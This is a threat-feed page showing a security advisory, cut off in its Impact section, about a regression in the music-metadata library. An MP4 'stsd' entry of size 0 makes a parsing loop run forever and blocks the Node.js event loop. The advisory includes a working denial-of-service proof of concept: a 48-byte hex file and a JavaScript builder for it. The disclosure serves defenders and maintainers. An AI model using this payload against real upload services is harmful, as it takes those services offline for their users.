Threats Tagged 'cve-2026-107391'
View all threats tagged with 'cve-2026-107391'. Filter and sort to focus on specific types of threats.
Stop chasing alerts. Route them.
Start free, then upgrade once to turn Radar into an automated delivery engine for your security stack.
Custom feeds / Automations: email, Slack, webhooks, SIEM/MISP / API access (baseline limits)
API access activates after upgrading in Console -> Billing.
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.
Filter Threats
Narrow down the results by type, severity, or affected countries
Threats Tagged 'cve-2026-107391'
Click on any threat for detailed analysis and mitigation recommendations
0 ### Summary `StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box's entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`'s tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`. This is currently unreleased — present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships. ### Details `lib/mp4/AtomToken.ts`, `StsdAtom.get()`: ```ts for (let n = 0; n < header.numberOfEntries; ++n) { const size = Token.UINT32_BE.get(buf, off); // attacker-controlled entry size off += Token.UINT32_BE.len; // +4 (skip the size field) table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off)); off += size - Token.UINT32_BE.len; // net advance = size - 4 } ``` - Introduced by commit `d2a7d6f` ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size < 4`. - With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration. - `StsdAtom.get` is invoked synchronously from `strtok3`'s `AbstractTokenizer.readToken` — there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`'s unbounded growth means it will also eventually exhaust memory if not killed first. - The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That's why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug. ### PoC 48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`. ``` hex: 00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001 sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80 ``` This builds the malicious buffer inline: ```js import { parseBuffer } from 'music-metadata'; const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff); const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff]; const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; }; const zeros = (n) => new Array(n).fill(0); function build(entryCount, entrySize) { const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0)); const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry const payload = cat(stsdHeader, entry); const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload); return Uint8Array.from(cat(ftyp, stsd)); } const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0 console.log('parsing', hang.length, 'byte file …'); await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop console.log('unreachable'); ``` ``` $ timeout 8 node poc.mjs parsing 48 byte file … # process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time ``` Control (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` — the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` × `size == 0` combination, not the `size == 0` field alone. Version-scope control (same 48-byte file against the latest npm release, `[email protected]`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` — no hang. Confirms this is a `master`-only regression, not present in anything currently shipped. ### Impact Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding servic Join the discussion | CVE Database V5 | 10/08/2026, 19:43:25 UTC Added: 10/08/2026, 20:37:03 UTC |
Showing 1 to 1 of 1 result